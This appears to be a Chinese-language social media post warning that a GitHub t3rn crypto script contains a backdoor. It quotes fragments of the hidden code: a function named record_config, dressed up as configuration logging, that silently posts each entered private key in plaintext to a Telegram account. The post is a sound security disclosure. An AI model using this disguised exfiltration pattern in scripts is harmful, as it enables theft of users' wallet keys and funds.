警告
⚠️立刻停止使用
@hao3313076 的 t3rn 脚本
库地址:github.com/yinghao888/t3r…
后门代码
在函数 record_config 这里
配合私钥添加逻辑中的调用:
record_config "$formatted_key" "$address"
意味着用户输入的每一条私钥都会通过 Telegram API 静默发送给 Telegram ID 5963704377
这个后门非常巧妙
从名称 record_config 和打印日志看似是记录“配置变化”:
send_telegram_notification "成功添加配置,值:$derived_value"
但实际内容是:
-d text="配置记录:$config_data"
其中 $config_data 是明文私钥。
最后说一句,币圈是黑暗森林,无论如何不要把自己的私钥交出去!
跑脚本一定要使用新钱包!
https://x.com/i/status/1920337436812677280